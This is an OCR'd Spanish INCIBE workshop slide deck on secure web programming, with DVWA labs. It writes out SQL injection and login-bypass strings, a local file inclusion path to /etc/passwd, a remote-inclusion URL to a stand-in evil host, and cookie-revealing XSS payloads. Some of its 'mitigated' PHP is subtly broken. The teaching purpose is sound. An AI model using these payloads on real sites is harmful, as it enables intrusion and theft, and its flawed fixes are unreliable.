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INCIBE - ¢Que es?

El Instituto Nacional de Ciberseguridad de Espafia (INCIBE) es una sociedad dependiente del Ministerio de Industria,
Energia y Turismo (MINETUR) a través de la Secretaria de Estado de Telecomunicaciones y para la Sociedad de la
Informacién (SETSI).

INCIBE es la entidad de referencia para el desarrollo de la ciberseguridad y de la confianza digital de los ciudadanos, la
red académica y de investigacion espaiiola (RedIRIS) y las empresas, especialmente para sectores estratégicos (Agenda
Digital para Espafia, aprobada en Consejo de Ministros el 15 de Febrero de 2012).

Como centro de excelencia, INCIBE es un instrumento del Gobierno para desarrollar la ciberseguridad como motor de
transformacion social y oportunidad para la innovacién. Para ello, con una actividad basada en la investigacion, la
prestacién de servicios y la coordinacidon con los agentes con competencias en la materia , INCIBE lidera diferentes
actuaciones para la ciberseguridad a nivel nacional e internacional.

WWwWw.incibe.es
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INCIBE - ¢Que es?

Pilares fundamentales sobre los que se apoya la actividad de INCIBE

. Prestacion de servicios de proteccidn de la privacidad, prevencién y reaccidn a incidentes en ciberseguridad
. Investigacidn generacion de inteligencia y mejora de los servicios

. Coordinacion colaboracion con entidades publicas y privadas, nacionales e internacionales
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I+D+i y Promocion del Talento en Ciberseguridad
Fomento del Ecosistema de I1+D+i en Ciberseguridad

“...INCIBE como Centro de Excelencia impulsa el ecosistema nacional de I1+D+i en
Ciberseguridad...”

Enfoque INTEGRADO de la [+D+i

= Analisis y diagndstico de la Investigacidon en Ciberseguridad (Conocimiento de las actividades que se llevan a cabo,
contar con los investigadores como activo principal y tener infraestructuras)

= Red de Centros de Excelencia en I+D+i en Ciberseguridad (Plan Director e inteligencia colectiva) a través del
lanzamiento de la Agenda Estratégica Nacional I+D+l en Ciberseguridad

Mejor ENFOQUE y coordinacion
= Agenda Estratégica Nacional [+D+i en Ciberseguridad (programas nacionales 1+D)

= Agenda Estratégica Internacional 1+D+l Comision Europea (NIS WG3) (programa internacional H2020)

Resultados orientados a Negocio
= SPIN-OFF / SPIN-UP.

= Lanzaderas / incubadoras / aceleradoras de START-UPs.

= Capital semilla / Capital riesgo (VC).
= Transferencia de conocimiento a la industria

(capital humano investigador y adquisicién de patentes).

Enfoque basado en la INTERNACIONALIZACION desde el inicio

s incibe_
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I+D+i y Promocion del Talento en Ciberseguridad
Mejores practicas en la Gestion del Talento en Ciberseguridad

“...INCIBE como Centro de Excelencia impulsa la alta capacitacion de profesionales en
el ambito de la Ciberseguridad”

Enfoque INTEGRADO
= [tinerarios educativos en Ciberseguridad (alineado con la demanda del sector).

= Coherente a todos los niveles (FP, Grado y Master y Pre-doctorales y Post-doctorados).

= |niciativas para la gestion de talento: atraccion, deteccidn, promocidn y retencidn.

Mejor ENFOQUE

= Analisis del GAP entre los itinerarios educativos vs. oferta formativa vs. Iniciativas para la gestion del talento.
= Acciones:

= Deteccion: Retos tipo pruebas de habilidad.

= Atraccion: Formacion avanzada y ponentes / premios / reconocimientos / ofertas de empleo.

= Promocidn: Reorientacion / Nuevos Contenidos practicos (aspectos técnicos en profundidad para todos
los itinerarios educativos) / Formacion para jovenes en ciberseguridad (“Espacios” de Ciberseguridad).

= Atraccién / Retencion: Financiacion de apoyo una vez identificado el talento.

Enfoque basado en la INTERNACIONALIZACION desde el inicio buscando su residencia en Espafia

e | H
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I+D+i y Promocion del Talento en Ciberseguridad

Oportunidad para una accion global que estimule la
Industria Espanola de Ciberseguridad

“...INCIBE como Centro de Excelencia impulsa la competitividad de la Industria nacional de
Ciberseguridad en base a un modelo de colaboracidn publico-privada (PPP): Polo de

Ciberseguridad ...”
Enfoque INTEGRADO

= Potenciar el tejido empresarial espafiol en ciberseguridad.

= Renovar la imagen del sector.

= Guiar la innovacién y comercializacion de nuevos productos/servicios a la demanda nacional/internacional.
= Mejorar el posicionamiento y la comercializacion de la industria de la ciberseguridad espafola.

= Aumentar la actividad productiva competitiva de los participantes a nivel internacional.

Mejor ENFOQUE
= Facilitar un pensamiento estratégico conjunto para identificar ventajas competitivas y diferenciacion.
= Definicion de acciones colectivas para abordar los desafios estratégicos.
= Priorizacion e implementacion rapida de las acciones identificadas.
= Fomento de una colaboracidon publico-privada con los principales actores de la industria.
= Definiciéon de un modelo de gobierno que permite una sostenibilidad a largo plazo.

Resultados orientados a NEGOCIO

= Acceso a nuevos mercados.
= |nnovacion.

= Demanda sofisticada, certificacion y la concienciacion.

= Financiacion.
s incibe_
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Introduccion a la ciberseguridad

Evolucion de las Tecnologias de la Informacion

®* Lainformacion es uno de los principales activos de una empresa.

®* Las empresas almacenan y gestionan la informacién en los Sistemas de Informacion.

®*  Para una empresa resulta fundamental proteger sus Sistemas de Informacién para que su informacion esté a
salvo. Dificultades:

= El entorno donde las empresas desarrollan
sus actividades es cada vez mas complejo
debido al desarrollo de las tecnologias de
informacion y otros factores del entorno
empresarial

= El perfil de un ciberdelincuente de un
sistema informatico ha cambiado
radicalmente. Si bien antes los objetivos
podian ser mas simples (acceder a un sitio
donde nadie antes habia conseguido
llegar) en la actualidad los atacantes se han
percatado de lo importante que es la
informacion y sobre todo de lo valiosa que
puede llegar a ser.

° Es fundamental poner los medios técnicos y organizativos necesarios para garantizar la seguridad de la
informacién. Para lograrlo hay que garantizar la confidencialidad, disponibilidad e integridad de la
informacion.
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Jornadas “Espacios de Ciberseguridad” — Programacién segura de sitios Web 9



Introduccion a la ciberseguridad
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Introduccion a la ciberseguridad

Seguridad de la Informacion

La seguridad de la informacion busca establecer y mantener programas, controles y politicas, que tengan como
finalidad conservar la confidencialidad, integridad y disponibilidad de la informacidn:

®* La confidencialidad es la propiedad de prevenir la divulgaciéon de informacion a personas no
autorizadas.

® Laintegridad es |la propiedad que busca mantener los datos libres de modificaciones no autorizadas.

® La disponibilidad es la caracteristica, cualidad o condicion de la informacion de encontrarse a
disposicidon de quienes deben acceder a ella, ya sean personas, procesos o aplicaciones.

® La autenticidad: la informacion es lo que dice ser o el transmisor de la informacidn es quien dice ser.

* El no repudio: Estrechamente relacionado con la Autenticidad. Permite, en caso de ser necesario, que
sea posible probar la autoria u origen de una informacion.
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Introduccion a la ciberseguridad

Riesgos para los Sistemas de Informacion

éQué son los riesgos en los sistemas de informacion?

® Las amenazas sobre la informacidn almacenada en un sistema informatico.
Ejemplos de riesgos en los sistemas de informacién
* Danio fisico: fuego, agua, vandalismo, pérdida de energia y desastres naturales.
* Acciones humanas: accién intencional o accidental que pueda atentar contra la productividad.
* Fallos del equipamiento: fallos del sistema o dispositivos periféricos.
* Ataques internos o externos: hacking, cracking y/o cualquier tipo de ataque.
* Pérdida de datos: divulgacién de secretos comerciales, fraude, espionaje y robo.

* Errores en las aplicaciones: errores de computacion, errores de entrada, etc.
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Introduccion a la ciberseguridad
La figura del HACKER

¢Qué es un hacker?

Experto en seguridad informatica, que se dedica a intervenir y/o realizar alteraciones técnicas con
buenas o malas intenciones sobre un producto o dispositivo.

éQué tipos de hackers existen en funcién de los objetivos que tienen?

Black Hat Hackers: Suelen quebrantar la seguridad de un sistema o una red con fines
maliciosos.

White Hat Hackers: normalmente son los que penetran la seguridad de los sistemas bajo
autorizacion para encontrar vulnerabilidades. Suelen ser contratados por empresas para
mejorar la seguridad de sus propios sistemas.

ambigua. Normalmente su cometido es penetrar en sistemas de forma ilegal para luego

3 Gray (Grey) Hat Hackers: Son una mezcla entre los dos anteriores puesto que tienen una ética
informar a la empresa victima y ofrecer sus servicios para solucionarlo.

® i i
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Introduccion a la ciberseguridad

Clases de ataques

® Interrupcion: se produce cuando un recurso, herramienta o la propia red deja de estar disponible
debido al ataque.

® Intercepcion: se logra cuando un tercero accede a la informacidn del ordenador o a la que se encuentra
en transito por la red.

* Modificacion: se trata de modificar la informacidn sin autorizacion alguna.

® Fabricacion: se crean productos, tales como paginas web o tarjetas magnéticas falsas.

s incibe__

Jornadas “Espacios de Ciberseguridad” — Programacién segura de sitios Web 14



Introduccion a la ciberseguridad

Técnicas de hacking

* Spoofing: se suplanta la identidad de un sistema total o parcialmente.
* Sniffing: se produce al escuchar una red para ver toda la informacidn transmitida por ésta.

®* Man in the middle: siendo una mezcla de varias técnicas, consiste en interceptar la comunicacion entre
dos interlocutores posicionandose en medio de la comunicacién y monitorizando y/o alterando la
comunicacion.

* Malware: se introducen programas dafiinos en un sistema, como por ejemplo un virus, un keylogger
(herramientas que permiten monitorizar las pulsaciones sobre un teclado) o rootkits (herramientas que
ocultan la existencia de un intruso en un sistema).

* Denegacion de servicio: consiste en la interrupcion de un servicio sin autorizacion.

* Ingenieria social: se obtiene la informacion confidencial de una persona u organismo con fines
perjudiciales. El Phishing es un ejemplo de la utilizacion de ingenieria social, que consigue informacion
de la victima suplantando la identidad de una empresa u organismo por internet. Se trata de una
practica muy habitual en el sector bancario.

* Adicionalmente existen multitud de ataques como XSS, CSRF, SQL injection, etc.
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Introduccion a la ciberseguridad

Mecanismos de defensa

Ante esta figura, écdémo pueden protegerse las compafias con las nuevas tecnologias?
Los principales sistemas y mas conocidos son los siguientes:

* Firewall: sistemas de restriccion de trafico basado en reglas.

* Sistemas IDS / IPS: sistemas de monitorizacion, deteccidon vy/o
prevencion de accesos no permitidos en una red.

* Honeypot: equipos aparentemente vulnerables disefiados para atraer y
detectar a los atacantes, protegiendo los sistemas realmente criticos.

b3
-

* SIEM: sistemas de correlacidon de eventos y generacion de alertas de
seguridad.

* Antimalware: sistemas de deteccidon de malware informatico. W

IS)
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Introduccion a la ciberseguridad

Las practicas del taller se realizan sobre un entorno controlado.
Utilizar las técnicas mostradas en el presente taller sobre
un entorno real como Internet, puede ocasionar problemas legales.

s incibe__
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Objetivos del curso

¢Qué vamos a aprender hoy?
®* Conceptos basicos acerca de seguridad en paginas web.
® Principales vulnerabilidades y cdmo solucionarlas.
®* Técnicas de programacion segura de aplicaciones.
®* Buenas practicas de configuracion de servidores.

é¢Como lo vamos a aprender?
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Contexto

¢Existe realmente un riesgo?
®* Elaumento del uso de Internet ocasiona una exposicion a mas amenazas.
* La alta disponibilidad de técnicas de explotacion aumenta el riesgo.
®* Histdoricamente, la seguridad en sistemas informaticos no ha estado entre
las prioridades de las empresas.

. i ARE You COMING To BED?
¢Qué podemos hacer? ) o m
®* Es necesario concienciar de la necesidad - 15 rMp?RTANt
de invertir en seguridad. /' SOMEOME IS WRONG
®* La seguridad en paginas web se debe ONTHE INTERNET.
aplicar desde el principio, en la fase de /
desarrollo. m
o . . . JUL :
No hay que olvidar la configuracién, una e
mala implementacion puede ser utilizada
como via de entrada por un intruso.

@ | i
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Contexto

¢Como se explota una pagina web?
®* El sistema informatico que soporta una aplicacion se puede explotar en
varios niveles: a nivel del sistema, a nivel del servidor y a nivel de aplicacion.

¢Qué debilidades se pueden encontrar?
®* A cada uno de los niveles, existen varias debilidades tipicas que pueden ser
utilizadas como vector de ataque.

Sistema Servidor Aplicacion
D Software desactualizado D Autorizacion incorrecta D Parametros no controlados
D Autenticaciones débiles D Exposicion de informacién D Légica de negocio no controlada
D Servicios innecesarios D Funcionalidades no controladas D Abuso de valores por defecto
D Cifrados débiles D Seguridad por defecto D Practicas de desarrollo inseguras
sincibe_
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Introduccion a la seguridad Web

¢Qué es una arquitectura cliente - servidor?

Modelo de interaccion con aplicaciones web en el cual una serie de
usuarios (clientes) acceden a una serie de recursos (servidor) mediante
peticiones.

Cliente: Posee los elementos imprescindibles en el lado del usuario para

poder realizar las funcionalidades requeridas:
"  Presentacion.
" Validacidn.
" Conexion.

Servidor: Posee los elementos necesarios para interactuar con el cliente y

contestar a las peticiones de informacion:
®  Capa de Presentacion.
" Capa de Aplicacion.
®  Capa de Conectividad.
®  (Capade Back-End .

@ | i
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Introduccion a la seguridad Web

Pagina estatica
* Estilo de pagina web en el cual no
existe interaccion entre el usuario y
el servidor.

® Caracteristicas:

® Contienen y manejan informacion
conceptualmente permanente.

®" No se puede interactuar con la pagina
web mas alld de navegar por los
diferentes enlaces.

"  No posee ni base de datos y ni légica.

" Ausencia de funcionalidades.

® Para cambiar los contenidos de Ia
pagina, es imprescindible acceder al
servidor donde esta alojada la misma.

®  Para su desarrollo, es suficiente con
utilizar lenguaje HTML o XHTML.

" El cédigo se ejecuta Unicamente en el
lado del cliente.

HTML

<html>
<body>

<hl>Titule</hl>
<p>Este s un parrafq.</p>
<img src="jimagen.lipg" width="100" height="200">

<a href="http://www.enlacedeprueba.com">Link</a>

<table style="width:100%">
<tr>
<td>A</td>
<td>B</td>
<td>C</td>
</tr=
<tr>
<td>D</td>
<td>E</td>
<td>F</td>
<ftr>
</table>

</body>
</html>
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Introduccion a la seguridad Web

Pagina dinamica
®* Estilo de pagina web en el cual
existe interaccion continua entre
el usuario y el servidor.

® (Caracteristicas :

s incibe__

Permite definir funcionalidades que
se adapten a las necesidades.
Interactia con el usuario de forma
dinamica.

El usuario posee cierta libertad para
modificar la informacion de la pagina
mediante funcionalidades.

Es posible interactuar con una base
de datos.

El cédigo puede contener légica.
Existen varios lenguajes para su
realizacion: PHP, ASP, .NET o Java.

El codigo se ejecuta en el lado del
clientey en el lado del servidor.

Java

<html>
<body>

<hl1>Titule</hl>
<p>Eske e85 un parrafe.</p>
<Zphp

$_GET["pamkes"1)

Sparam=(isset($ GET['pazam’']l) ? $ GET['pazram’] : null);
echo "<p*Raramsire intseducido: Sparam”
i
</body>
</html>
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Introduccion a la seguridad Web

¢Qué es el direccionamiento?

®* (Capacidad de transmitir un mensaje por una red conmutada.

®* Enrutamiento mediante direccionamiento:
®  MACa nivel enlace.
" |P anivel red.
®  Puerto a nivel transporte.

. . 172 . 16 . 254 1
° Formato de Ias dlreCCIOI’\eS IPv4 > 10101100 00010000 11111110 00000001
192.168.1.123 192.168.1.1
A1:B2:C3:D4:E5 AA:BB:CC:DD:EE
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Introduccion a la seguridad Web

¢Como viaja el mensaje?

®* ¢Qué es necesario conocer para establecer una conexién con un sistema

remoto?.
®  |P destino.
®  Puerto destino.

®* Elemisor envia el mensaje a su router de salida (gateway).
®* Este lo renviara hacia otros routers que repetiran dicha operacion.
®* El mensaje llega a su destino.

192.168.1.12 10.0.2.43

5ee  ebe
TITIY TITIT
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Introduccion a la seguridad Web

¢Como funciona el protocolo HTTP?

®* Este protocolo define la sintaxis y la semantica que se utilizan en una
comunicacion web.

®* Esta orientado a transacciones y sigue un esquema de peticion y respuesta
entre el cliente y el servidor.

®* Es un protocolo que no posee estado, no almacena informacion acerca de
conexiones anteriores a la actual.

®* Para mantener el estado dentro de una aplicacion web, se utilizan otra serie
de recursos. Las cookies son las que permiten que esa informacion se pueda
almacenar vy asi utilizar informacion de conexiones anteriores.

Request

Response

® i i
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Introduccion a la seguridad Web

¢Qué aspecto tiene una peticion HTTP?

s incibe__

GET /index.php?id=1&languaje=es HTTP/1.1

Host: www.prueba.com

Content-Type: application/x-www-form-urlencoded
Content-Length: length

POST index.php HTTP/1.1

Host: www.prueba.com

Content-Type: application/x-www-form-urlencoded
Content-Length: length

id=1&languaje=es
HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8

Content-Length: length

<htmlI><body>Hello World</body></htmI>

Jornadas “Espacios de Ciberseguridad” — Programacién segura de sitios Web
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Introduccion a la seguridad Web

Practica: Analisis de peticion HTTP

®* Arrancamos la herramienta BurpSuite para que actue de proxy local:
burpsuite
®* Establecemos la escucha en un puerto deseado, por defecto en el 8080.
®* Redirigimos el trafico del navegador a la maquina local y al puerto en el cual
esta escuchando BurpSuite.
®* Navegamos con normalidad interceptando las respuestas y analizando las
peticiones. I S
T ——
j::_:l ........ T
sincibe_
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Introduccion a la seguridad Web

¢COmo es una arquitectura segura?

®* Normalmente los servidores se instalan en una DMZ.
®* Esunazona segura situada entre la red interna y la red externa.
®* Las conexiones entre estos tres elementos se gestionan mediante firewalls.

Intranet
(LAN)

Router (WAN)

s incibe__
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Principios de la seguridad

Minimo privilegio

®* (Cada elemento debe tener los permisos estrictamente necesarios para
efectuar las acciones para las que han sido disenados.

* Ejemplo:
Webapp 1
Webapp 2
Webapp 3
s incibe_ ”
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Principios de la seguridad

Minima exposicion
®* Reducir el area de exposicion de un sistema habilitando Unicamente los
servicios estrictamente necesarios.

* Ejemplo:

VS

sincibe_
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Principios de la seguridad

Defensa en profundidad

Aplicar varias capas de seguridad a un mismo elemento y dividir en
diferentes areas la arquitectura de la red con el propdsito de hacer mas
complicado el acceso a la informacion.

* Ejemplo:
network

host

application

s incibe__
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Principios de la seguridad

El eslabon mas débil

®* Laseguridad de un sistema esta definida por su eslabon mas débil, no sirve
de nada fortificar un area de un sistema si no se presta atencion a las demas.

Proceso continuo

®* Laseguridad debe estar en constante evolucion para adaptarse a las nuevas
técnicas de atague y amenazas.

Proporcional

®* Elnivel de seguridad de un sistema o conjunto de sistemas debe ser
proporcional al valor de |la informacidén alojada por los mismos.

s incibe__
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Principios de la seguridad

Técnicas de programacion segura

®* Multitud de los problemas de seguridad web se pueden encontrar a nivel
aplicacion, los cuales suelen ser el resultado de una programacion erronea.

®* El desarrollo de aplicaciones web seguras es una tarea compleja, ya que

demanda una concepcion general de los riesgos de la informacidon contenida,
solicitada y recibida por el sistema, mas alla de cumplir con el objetivo

funcional basico de la aplicacion.

Base de datos
[ Infraestructura ]

® | i
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Principios de la seguridad
¢Qué es OWASP?

®* Para identificar los riesgos y fallos de seguridad mas importantes en una
aplicacion web, existen organizaciones cuyo objetivo es facilitar el analisis de
vulnerabilidades y dotar de herramientas para la auditoria, aprendizaje y
prevencion de los fallos de seguridad web.

®* OWASP es un proyecto de cdédigo abierto dedicado a determinar y combatir
las causas que hacen que el software sea inseguro.

®* OWASP publica y revisa un documento de los diez riesgos de seguridad que
considera mas importantes en aplicaciones web de mayor a menor

OWASP

The Open Web Application Security Project

s incibe__

Jornadas “Espacios de Ciberseguridad” — Programacion segura de sitios Web 39



Principios de la seguridad

Top 10 de vulnerabilidades web

OWASP Top 10-2013
Al- Inyeccidn
A2-Pérdida de autenticacion y gestion de sesiones
A3-Secuencia de comandos en sitios cruzados. [XSS]
A4d-Referencia directa insegura a objetos
A5-Configuracion de seguridad incorrecta
Ab6-Exposicion de datos sensibles
A7-Ausencia de control de acceso a las funciones
A8-Falsificacion de peticiones en sitios cruzados. [CSRF]
A9-Uso de componentes con vulnerabilidades conocidas

A10-Redirecciones y reenvios no validados

s incibe__
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Seguridad en aplicaciones web

Al. Inyeccion

Se trata de hacer que la aplicacion web interprete como comandos o
consultas lo que el atacante de esa aplicacion web introduce en la aplicacion.

Distintas variedades de inyecciéon: SQL (Bases de datos), LDAP (Directorios),
etc.

Este hecho es empleado por un atacante para alterar el funcionamiento
correcto de la aplicacion web, pudiendo comprometer la integridad de |la

informacidn o su privacidad, asi como la seguridad de los sistemas
subyacentes

s incibe__
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Mitigacion de vulnerabilidades en aplicaciones
Inyecciones SQL ()

ID_Cliente Nombre_Cliente Teléfono

Contrasefa Importe
1 Pablo 913342134 @palabrab5.net 100
2 David 934567923 123456 299
3 Javier 915557788 lampara 2500
Login
Email
Passwarid
Loop Iw M

Pablo @palabra65.net

SELECT * FROM Users WHERE Username=| Susername' |AND Passwords'S$Spassword'

s incibe__
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Realizando una inyeccion SQL (l)

s incibe__

Accedemos a la aplicacion DVWA:

En el menu SQL Injection observamos el funcionamiento del formulario:

s1Nncibe

En la barra del navegador web introducimos la url:
localhost/dvwa

Accedemos al aplicativo y modificamos el nivel de seguridad:

DVWA Security->Low

NSTITUTO NACIONAL DE CIBERSEGURIDAD

- Vulnerability: SQL Injection

LS Ts User |D:

Sehap

Subemit

Brule Fosce

Command Execusion More info
ESRE ] mipswewssecuritenm. comtue curilyreuiswsSOPOML PTSE him)

Inseciure CAFTCHA Mﬂww

File Imclusion WWMMW@@@MMMM

Jornadas “Espacios de Ciberseguridad” — Programacion segura de sitios Web

44



Mitigacion de vulnerabilidades en aplicaciones

Practica: Realizando una inyeccion SQL (Il)

®* Introducimos en el formulario las siguientes cadenas:
"  Inyeccion gue muestra el nombre de la base de datos:
“UNION SELECT 1, database() FROM information_schema.tables #

"  |nyeccidon gue muestra las tablas de la base de datos:
“ UNION SELECT 1, table_ name FROM information_schema.tables WHERE

table_schema=‘dvwa’ #

"  |nyeccidon gue muestra las columnas de una tabla de la base de datos:
“ UNION SELECT 1, column_name FROM information_schema.columns WHERE

table_schema=‘dvwa’ AND table_name=‘users’ #

Vulnerability: SQL Injection

User ID:

[ | Submit |

® i i
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Mitigacion de vulnerabilidades en aplicaciones

Mitigacion de la inyeccion SQL
®* Una de las vias para evitar este tipo de vulnerabilidades es validar y filtrar las
cadenas introducidas por el usuario.
* Ejemplo:

< Aa-Zz ©-9

rr
o - -
- -
- - - - - —

Q < /<>7()’\"{}

®* Se deben adoptar medidas adicionales como acceder con los minimos
privilegios, no dar informacion en los mensajes de error, etc.

s incibe__
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Mitigando una inyeccion SQL ()

®* Analizamos el cddigo PHP del formulario vulnerable a SQL Injection:

<?php
if(isset($_GET['Submit'])){

// Retrieve data

$id = $ GET['id'];

$getid = "SELECT first name, last name FROM users WHERE user id = '$id'";
$result = mysql_guery($getid) or die('<pre=' . mysgl _error() . '</pre=' );

$num = mysql_numrows($result);
$1 = 0;
while ($i < $num) {

$first = mysql_result($result,$i,"first _name");
$last = mysqgl result($result,$i,"last name");

ghtml .= '<pre>';
$html .= 'ID: ' . $id . '<br=First name: ' . $first . '<br=Surname: ' . $last;
ghtml .= '</pre=';
Fi++;
t
}
7>
¢incibe_
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Mitigando una inyeccion SQL (Il)

* Validamos y filtramos las cadenas que introducen los usuarios:

<7php
if (isset($ GET['Submit'])) {

ff Retrieve data

if (is _numeric(%id)){

tid = ¢ GET['id'];
$id = stripslashes(gid);
$id =

mysql_real escape string($id);

ggetid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

$result = mysql query($getid) or die('=pre=' . mysqgl _error{) . '=/pre=' };
gnum = mysqgl_numrows($result);
$1=0;
while ($1 < $rnum) {
$first = mysql_result($result, i, "first_name”);
$1last mysgl_result($result, $i,"last_name");
ghiml .=
thiml .= . '=br=First name: ' . $first . '<breSurname: ' . $last;
$himl .=
$ie+;
}
}
i
-
s incibe_
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Mitigacion de vulnerabilidades en aplicaciones

Fallos en el mecanismo de autenticacion

®* Se trata de aprovechar un defecto en el mecanismo de autenticacion de la
aplicacion, teniendo como consecuencias el robo de credenciales o el acceso
no autorizado a los recursos de la aplicacion web.

* Para protegerse es necesario:

s incibe__

Filtrar las entradas del usuario.

Emplear los mecanismos de sesidon proporcionados por el lenguaje de programacion.
No aceptar identificadores de sesién invalidos.

No permitir el proceso de autenticacidon desde una pagina sin cifrado.

Emplear politicas de caducidad de sesiones.

No exponer las sesiones o las credenciales en las URLs.

Disponer en cada pagina de un mecanismo de finalizacion de la sesion.
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Evadiendo el mecanismo de autenticacion

®* Accedemos al login de la aplicacion.

®* Introducimos en el campo usuario la cadena:
admin’ AND ‘1’ = ‘1’ --

€ | @ localhost/dvwallogin pt v@ @ [vl e Q) & P

& INcibe

INSTITUTO NACIONAL DE CIBERSEGURIDAD

Username

admin" AND '1'="1"--

Password

Login

s incibe__
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Mitigando una autenticacion insegura

®* Analizamos el cédigo PHP del formulario vulnerable:
<?php
define( 'DVWA_WEB_PAGE_TO ROOT', '' );
require_once DVWA_WEB_PAGE_TO_ROOT. 'dvwa/includes/dvwaPage.inc.php';
dvwaPageStartup( array( 'phpids' ) );
dvwaDatabaseConnect();

if( isset( $ POST[ 'Login' ] ) ) {

$user = $ POST[ 'username' ];

$_POST[ ‘'password' ];|
md5( $pass );

$pass
$pass

$qry = "SELECT * FROM ‘users’ WHERE user='$user' AND password='$pass';";

$result = @mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) ==1 ) { // Login Successful...
dvwaMessagePush( "You have logged in as '".$user."'" );

dvwaLogin( $user );
dvwaRedirect( 'index.php' );

sincibe_
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Mitigando una autenticacion insegura

* Validamos y filtramos las cadenas que introducen los usuarios:
<?php
define( 'DVWA_WEB_PAGE_TO_ROOT', '' );
require_once DVWA_WEB_PAGE_TO_ROOT. 'dvwa/includes/dvwaPage.inc .php';
dvwaPageStartup( array( 'phpids’' ) );
dvwaDatabaseConnect();

if( isset( $ POST[ 'Login' ] ) ) {

$user = § POST[ 'username' ];

$user = stripslashes( $user );

$user = mysql_real_escape_string( $user );
$pass = $§ POST[ ‘password' ];

$pass = stripslashes( $pass );

&pass = mysql_real_escape_string( $pass );
$pass = mdS5( $pass );

$qry = "SELECT * FROM “users’ WHERE user='$user' AND password='$pass';";
$result = @mysql_query($ary) or die('<pre>' ., mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) ==1 ) { // Login Successful...

sincibe_
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Mitigacion de vulnerabilidades en aplicaciones

Vulnerabilidad File Inclusion

Vulnerabilidad que permite la inclusion de ficheros en la aplicacion web.

Es la consecuencia de un fallo en la programacion de la aplicacién, en la cual
no se realiza un correcto filtrado de los parametros.

®* Existen dos variantes:

®* Local File Inclusion (LFl): Un atacante podria acceder a cualquier zona del sistema, siendo

capaz de descargar ficheros sensibles y de configuracion.

www.page.com/script.php?id=../../../../../etc/passwd

®* Remote File Inclusion (RFI): Un atacante podria incluir scripts maliciosos alojados en otro

servidor.

www.page.com/script.php?id=www.evilpage.com/evilscript.php

s incibe__

Jornadas “Espacios de Ciberseguridad” — Programacion segura de sitios Web 53



Mitigacion de vulnerabilidades en aplicaciones

Practica: Ataque Local File Inclusion ()

® Accedemos al menu File Inclusion:

s iNncibe

INSTITUTO NACIONAL DE CIBERSEGURIDAD

Vulnerability: File Inclusion

U | To inclede & file edit the :'DBJ;E =index php in the URL to deteming which fle s incleded
Setup |
More info
Bruie Force |
cam d Exacuth | ?il.‘ll'l ediaon gmole File Inclusi
CSRF |
Insecure CAPTCHA |

File Inclusion

®* Observamos la URL que aparece en el navegador:

¥ localhost/dvwa/vulnerabilities/fi/?page=include.php

s incibe__
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Ataque Local File Inclusion (ll)

® La principal caracteristica de una pagina web vulnerable a Local File Inclusion
es la navegacion por la estructura de directorios del servidor.

®* En este caso, a través de la vulnerabilidad es posible visualizar el contenido
de los ficheros.

®* Su explotacion se realiza a través del atributo page, mediante el cual es
posible navegar por la estructura de directorios.

®* Por ejemplo, escribimos la siguiente ruta en la URL de |la pagina vulnerable:

® iQué resultado obtenemos?

s incibe__
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Mitigando File Inclusion

* Analizamos el codigo PHP vulnerable a File Inclusion:

<?php
$file = $ GET[ 'page']; //The page we wish to display

B

®* Validamos la entrada del usuario antes de procesarla:

<7php
$file = § GET[ 'page']; //The page we wish to display
// Only allow include.php
if ( $file = "include.php" ) {
echo "ERROR: File not found!";
exit;
}
|
1>
s incibe_
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Mitigacion de vulnerabilidades en aplicaciones

Cross-Site Scripting, équé es?

®* Se trata de aprovecharse de que los datos de entrada que no son validados
correctamente sean interpretados como fragmentos de cdadigo
potencialmente malicioso.

® Esta vulnerabilidad también es conocida como XSS.

®* Dala posibilidad de ejecutar cédigo en el navegador de la victima.

®* A través de esta vulnerabilidad, un atacante podria realizar el secuestro de
sesiones de usuario, realizar formularios falsos, etc.

®* Para protegerse, es necesario validar las entradas del usuario.

s incibe__
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Cross-Site Scripting reflejado

® Accedemos al menu XSS reflected:

Vulnerability: Reflected Cross Site Scripting (XSS)

What's wour name?

| Submit |

* Interpretacion de cédigo HTML: Introducimos la siguiente cadena:
<h1>Hola</h1>

®* Interpretacion de lenguaje de scripting: Introducimos la siguiente cadena:
<script>alert(‘XSS’)</script>

®* Cadena que muestra las cookies del usuario:

<script>alert(document.cookie)</script>

s incibe__
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Cross-Site Scripting almacenado

® Accedemos al menu XSS stored:

Vulnerability: Stored Cross Site Scripting (XSS)

Mame * [ ]

Message *

| sign Guestbook |

® Laaplicacion almacena un coédigo maliciosos dentro del sistema, como por
ejemplo en un foro, en un mensaje privado, etc.

®* (Cadavez que alguien visita la pagina donde aparece el mensaje malicioso, se
ejecutara el cddigo javascript escrito en el mensaje.

®* Cadena maliciosa que muestra las cookies del usuario:

<script>alert(document.cookie)</script>

® i i
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Mitigacion de vulnerabilidades en aplicaciones

Cross-Site Scripting, écomo se mitiga?
* Al igual que en las inyecciones SQL, una de las vias para evitar este tipo de
vulnerabilidades es validar y filtrar las cadenas introducidas por el usuario.
* Ejemplo:

< Aa-Zz ©-9

-~ r
o e -
-l e e -
e A

Q < /<>7()’\"{}

®* Se deben adoptar medidas adicionales como establecer flags seguros en las
cookies de sesion, etc.

s incibe__
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Mitigando XSS reflejado

®* Analizamos el codigo PHP vulnerable a XSS:
if(larray key exists ("name", $ GET) || $_GET['name']l == NULL || $ _GET['name'] == ''){

$isempty = trueg;

} else {
$html .= 'spre=';
$html .= 'Hello ' . $ GET[ 'name'];
$html .= '</pre=';

}

® Validamos con la funcion htmlspecialchars |la entrada del usuario:

if(larray key exists ("name", $ GET) || $ GET['name'] == NULL || $ GET['name'] == '"'){

$isempty = true;

1 else {
$html .= '<pre=';
$html .= 'Hello ' .fhtmlspecialchars($ GET[ 'name']);
$html .= '<=/pre=';

}

® | i
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Mitigando XSS almacenado

* Analizamos el codigo PHP vulnerable a XSS almacenado:

// Sanitize message input
